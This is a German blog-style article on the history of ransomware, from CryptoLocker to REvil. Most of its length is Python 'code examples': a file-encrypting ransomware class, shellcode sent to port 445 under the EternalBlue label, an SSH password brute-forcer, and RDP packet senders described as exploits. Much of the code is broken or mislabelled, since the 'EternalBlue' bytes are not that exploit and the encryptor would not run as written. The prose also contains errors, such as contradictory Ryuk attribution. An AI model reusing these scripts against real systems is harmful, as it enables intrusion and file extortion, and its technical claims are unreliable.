Die beeindruckende Entwicklung des Ransomware-Codes
Die Geschichte von Ransomware zu verfolgen ist wie das Ansehen eines Horrorfilms, in dem der Bösewicht immer schlauer und raffinierter wird. Die Entwicklung von Ransomware hat etwas Faszinierendes und zugleich Beängstigendes. In diesem Artikel werde ich Sie tief in die historische Zeitleiste eintauchen lassen und Ihnen zeigen, warum es so schwierig ist, diese Schadprogramme zu stoppen.
Die erste bekannte Ransomware, der AIDS-Trojaner, erschien 1989. Seitdem hat sich Ransomware erheblich weiterentwickelt und ist zu einer der am weitesten verbreiteten und zerstörerischsten Arten von Malware geworden. Dieser Artikel verfolgt die Entwicklung von Ransomware, von den Anfängen von CryptoLocker bis zu den berüchtigten WannaCry- und neueren Maze- und REvil-Ransomware-Angriffen, und erklärt gleichzeitig, wie jede Art von Ransomware mit tatsächlichen Codebeispielen funktioniert.
2013: CryptoLocker
CryptoLocker war die erste Ransomware, die Public-Key-Kryptografie zur Verschlüsselung von Dateien nutzte. Es wurde über E-Mail-Anhänge verbreitet und nutzte Schwachstellen in Java und Adobe Reader aus, um Systeme zu infizieren. Sobald es ein System infizierte, verschlüsselte es alle Dateien auf dem System und verlangte eine Zahlung in Bitcoin, um den Entschlüsselungsschlüssel bereitzustellen.
Codebeispiel:
import os
import random
import string
from Crypto.Cipher import AES
class CryptoLocker:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
Die decrypt_file
Methode benötigt einen Eingabedateinamen und optional einen Ausgabedateinamen und eine Blockgröße. Es liest die Eingabedatei, extrahiert die ursprüngliche Dateigröße und den IV und entschlüsselt die verschlüsselten Daten mit demselben Verschlüsselungsschlüssel und IV. Die entschlüsselten Daten werden in die Ausgabedatei geschrieben und auf die ursprüngliche Dateigröße gekürzt. Am Ende des Codes finden Sie ein Beispiel für die Verwendung der Klasse. Dabei CryptoLocker
wird ein Objekt mit einem geheimen Schlüssel erstellt, eine Eingabedatei verschlüsselt und anschließend entschlüsselt.
2016: Locky
Locky wurde über E-Mail-Kampagnen verbreitet und verwendete eine Kombination aus RSA- und AES-Verschlüsselung zur Verschlüsselung von Dateien. Für die Bereitstellung des Entschlüsselungsschlüssels wurde eine Zahlung in Bitcoin verlangt. Schätzungen zufolge wurden in den ersten Wochen nach der Veröffentlichung über 100.000 Systeme infiziert.
Codebeispiel:
import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# Generate RSA key pair
key = RSA.generate(2048)
# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')
# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)
# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
f.write(ciphertext)
with open('encrypted_key.bin', 'wb') as f:
f.write(cipher_rsa)
2017: WannaCry
Im Jahr 2017 verbreitete sich die Ransomware WannaCry rasant auf der ganzen Welt und infizierte Hunderttausende Computer in über 150 Ländern. WannaCry nutzte eine Schwachstelle im Windows-Betriebssystem namens EternalBlue aus, die angeblich von der NSA entwickelt wurde
Die weitreichende Natur des Angriffs und die betroffenen kritischen Systeme unterstrichen die Notwendigkeit für Unternehmen, der Cybersicherheit Priorität einzuräumen und aktuelle Software und Sicherheitsprotokolle zu pflegen, um solche Angriffe zu verhindern.
Codebeispiel:
import socket
# EternalBlue exploit code
exploit = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
b"\xc3"
)
# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send exploit code
sock.send(exploit)
# Close the socket
sock.close()
Es ist wichtig zu bedenken, dass dieser Code, wie jedes andere Beispiel in diesem Artikel, ausschließlich Bildungszwecken dient und nicht für böswillige Aktivitäten verwendet werden sollte.
2018: SamSam
SamSam war eine Ransomware, die erstmals im Jahr 2018 identifiziert wurde. Im Gegensatz zu vielen anderen Ransomware-Angriffen, bei denen Phishing-E-Mails verwendet werden, um Zugriff auf die Systeme der Opfer zu erhalten, nutzte SamSam rohe Gewalt , um Zugriff auf nicht gepatchte Server zu erhalten. Im Inneren verschlüsselte die Ransomware die Dateien und forderte die Zahlung in Bitcoin.
Codebeispiel:
import paramiko
import time
target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
ssh.connect(target_server, port=port, username=username, password=password)
print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
# Do malicious activities here
ssh.close()
break
except paramiko.AuthenticationException:
print(f"Failed to log in to {target_server} with username {username} and password {password}.")
time.sleep(1)
2019: Ryuk
Man geht davon aus, dass Ryuk seinen Ursprung in Nordkorea hat und zur Bekämpfung hochwertiger Ziele wie Krankenhäuser und Regierungsbehörden eingesetzt wurde. Dies stellte sich als falsch heraus und wurde ursprünglich von zahlreichen verschiedenen kriminellen Organisationen genutzt. Ryuk wird typischerweise über Phishing-E-Mails oder durch Ausnutzung von Schwachstellen in Remote-Desktop-Protokollen übermittelt.
Codebeispiel:
import socket
RDP_PORT = 3389
def exploit_rdp_vulnerability(target_ip):
# Establish a connection to the target RDP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_ip, RDP_PORT))
except:
print(f"Connection failed to {target_ip}:{RDP_PORT}")
return
# Send a malicious RDP message to trigger the vulnerability
# In a real attack, this would contain the ransomware payload
# In this safe example, I will just print the message for demonstration purposes
message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
s.sendall(message)
# Receive the server's response and print it for demonstration purposes
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
# Example usage
exploit_rdp_vulnerability('192.168.1.100')
2019: Labyrinth
Maze verschlüsselt die Dateien des Opfers und verlangt eine Zahlung als Gegenleistung für den Entschlüsselungsschlüssel. Maze-Ransomware steht jedoch auch im Ruf, sensible Daten von Opfern zu stehlen und mit deren Veröffentlichung zu drohen, wenn das Lösegeld nicht gezahlt wird, was sie zu einer Art Ransomware mit „ doppelter Erpressung “ macht.
Es ist bekannt, dass die Maze-Ransomware Schwachstellen in Remote-Desktop-Protokollen (RDPs) ausnutzt, um Zugriff auf Systeme sowie auf typische Phishing-E-Mails zu erhalten.
Codebeispiel:
import socket
HOST = '192.168.1.100'
PORT = 3389
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print(data)
# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)
data = s.recv(1024)
print(data)
# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)
data = s.recv(1024)
print(data)
# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)
data = s.recv(1024)
print(data)
# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)
data = s.recv(1024)
print(data)
s.close()
2021: REvil
Einer der bemerkenswertesten Ransomware-Angriffe der letzten Jahre war der Ransomware-Angriff REvil im Juli 2021. Der Angriff richtete sich gegen einen Softwareanbieter namens Kaseya, der anderen Unternehmen Fernverwaltungssoftware bereitstellt. Den Angreifern gelang es, auf die Software von Kaseya zuzugreifen und Malware an Hunderte ihrer Clients zu verteilen, was zu einem weit verbreiteten Ransomware-Angriff führte.
REvil verwendet eine starke Verschlüsselung, um die Dateien des Opfers zu verschlüsseln, und verlangt eine Lösegeldzahlung im Austausch für den Entschlüsselungsschlüssel. Wie die meisten Ransomware-Gruppen dieser Zeit wird Bitcoin als Zahlungsmittel verwendet.
Codebeispiel:
import os
import random
import string
from Crypto.Cipher import AES
class Ransomware:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
Im Anwendungsbeispiel wird ein Schlüssel definiert und Ransomware
mit diesem Schlüssel eine Instanz der Klasse erstellt. Die encrypt_file
Methode wird für eine Datei namens „important_file.docx“ aufgerufen, wodurch eine verschlüsselte Datei mit dem Namen „important_file.docx.enc“ erstellt wird. Schließlich decrypt_file
wird die Methode für die verschlüsselte Datei aufgerufen, um sie wieder in ihre ursprüngliche Form zu entschlüsseln.
Ich hoffe, dass dieser Artikel einen dringend benötigten Überblick darüber gibt, wie sich Ransomware entwickelt hat und dass sie aufgrund der einfachen Bereitstellung und sofortigen Monetarisierung illegaler Aktivitäten unsere größte Bedrohung darstellt . Allerdings muss man sich an die Fortschritte erinnern, die in den letzten Jahren unternommen wurden, um die breite Öffentlichkeit über diese Themen aufzuklären und aufzuklären.